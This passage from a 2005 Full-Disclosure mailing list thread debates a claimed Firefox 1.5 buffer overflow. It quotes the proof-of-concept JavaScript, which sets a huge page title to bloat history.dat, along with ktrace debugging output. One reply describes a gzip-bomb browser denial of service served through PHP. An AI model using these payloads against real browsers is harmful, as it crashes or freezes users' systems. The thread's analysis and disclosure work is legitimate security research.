and theres no reason for it to be working.
first let's see what's going on - i loaded provided html in firefox
and quitted it.
even quitting firefox took a while, but only slightly longer than usual.
after starting firefox again, it indeed didn't load, stuck in some
kind of disk loop ignoring all macosx ui events.
but not swapping. alright, that's strange:
[EMAIL PROTECTED]:~/Desktop/Firefox.app/Contents/MacOS$ ktrace ./firefox-
bin
[EMAIL PROTECTED]:~/Desktop/Firefox.app/Contents/MacOS$ kdump -m 1 |
tail -100
...
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21a000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"0"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"\\"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21c000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"A"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
7616 firefox-bin GIO fd 24 read 4096 bytes
"A"
7616 firefox-bin RET read 4096/0x1000
7616 firefox-bin CALL lseek(0x18,0x21e000,0)
7616 firefox-bin RET lseek 0
7616 firefox-bin CALL read(0x18,0xcad9e00,0x1000)
this repeats virtually ad-infinitum until end of history.dat is reached.
note that there is never allocated any memory-the same buffer is
always used, thus no memory leak.
firefox is stuck in loop (and eventually starts, since the string is
finite, in my case
about 30M) but it took way too longer to load. im not a windows user
but since mac is only
step away from it (you know apple, let's take win95 and freebsd and
mix it together) my guess is
it is the same situation of keeping main thread busy and events
cannot be passed down, eventualy
leading to "application is not responding" killbox.
for Z1PL0CK:
Don't stop, keep posting fake "buffer overflows" of #darknet
trademonkeys (this one actually looked funny in the beggining).
This time you made it to get /.ed which is not a bad start, but yo
gonna fly higher!
Because this bug got killed, i've something better for you:
dd if=/dev/zero a 2GB file and gzip it. then just write a php script
which sets content-encoding: gzip and
fpassthru the file. safari rendered 1.2gb system unresponsible in 5
seconds, firefox in about 30. both crashed
on "overflows" like this:
Safari(233,0xa000ed68) malloc: *** vm_allocate(size=1250000896)
failed (error code=3)
Safari(233,0xa000ed68) malloc: *** error: can't allocate region
Safari(233,0xa000ed68) malloc: *** set a breakpoint in szone_error to
debug
for those interested i can send coredumps
now THATs SOME SERIOUSLY MAD warez (for those who wants to quickly
pollute browser's heap with shellcode: yah, this
is a good way).
sheesh. is this some 'who invent a stupidier dos attack against
browser' contest of some sort or what?
On 8.12.2005, at 20:51, Matt wrote:
Didn't work here, just made the system go a bit sluggish for a
moment, as you would expect when dealing with a 2.5 million
character string.
Firefox :
Mozilla/5.0 (X11; U; Linux i686; en-US; rv: 1.8) Gecko/20051130
Firefox/1.5
Built with :
gcc version 3.4.4 (Gentoo 3.4.4-r1, ssp-3.4.4-1.0, pie-8.7.8)
Window manager:
KDE 3.5.0
Possibly it is crashing the Windows API ?
--
Matt
On 12/9/05, Ron <[EMAIL PROTECTED] > wrote:I was also unable
to replicate it, on Firefox 1.5 i386 Linux EN
[EMAIL PROTECTED] wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
nor a fake , nor you really dont know what is a buffer overflow,
but for
sure here on my firefox 1.5 EN, the client is much longuer to
load to
the next boot but it reloads fine without exceptions and there is
nothing about a security bug here...
<!-- Firefox 1.5 buffer overflow
Basically firefox logs all kinda of URL data in it's history.dat
file,
this little script will set a really large topic and Firefox
will then
save that topic into it's history.dat.. The next time that
firefox is
opened, it will instantly crash due to a buffer overflow -- this
will
happen everytime until you manually delete the history.dat file
-- >which
most users won't figure out.
this proof of concept will only prevent someone from reopening
their browser after being exploited. DoS if you will. however, code
execution is possible with some modifcations.
Tested with Firefox 1.5 on Windows XP SP2.
ZIPLOCK <[EMAIL PROTECTED]>
-->
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex
();">CLICK ME
</a></body></html>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (MingW32)
iQIVAwUBQ5g3Jq+LRXunxpxfAQIg5RAAsMXisNDN9AcLiWf9F7nsoKhT6uaULAw+
4omnQUjuaRvxAIYRwKNC1nC+zl8qzmUsL4Extkd52mn7OkTrprd1MUE09CoshSlX
Nq9N62bJ4zqRsdrum1NQhc358scTWNKCmWWXtSGNqu4fGnvpljyeYRACGeC6UD/v
DDbikg09XOO+GffIAf4la63f+SV63+laZ6TkmX2jxBdw1LBN0mMCBLo0IPY5K78m
/Cu2SCIqvs00ih6olLp9f8/3p9SgiK2+D9UiTnw3F3f2mYR5r7uGilYL9PNQPmKE
crCnfKCYxi/4P03rnIuja9LNloQWkBTsOhOfe5716NlQ/KZAz/IpfTw7yS6sdn22
cxUpAE5zQqfI7jI0cD3yozmSksMyyEBLojAtsn2ECFOKpQQgkoOgaQX+dnrT+EYo
pr2qquUKH/GXHGeT9od57cUkC/Jaf7qcaSkF6/LJ+13yHcsuDH0KcsMCYDP6aGN3
5R4/c6MAGFWKblMzdksWe+qqCDgm1yeM7MBbHGYyL6PMnfSldJBD29kGceLc47hi
AVJaVmmDb3Nc/fo93gmqUT/x+mMItyk8+4dH0HOzEjRfI0qedeD+1uusS97ThVEw
2KG1o/1vlLPsnailmtHbj8sj/iawQvQRR/Phvk2Noz8bTQSEkDuThtE+zr2ZEjvb
IFxjTMn8Sc0=
=SX09
-----END PGP SIGNATURE-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/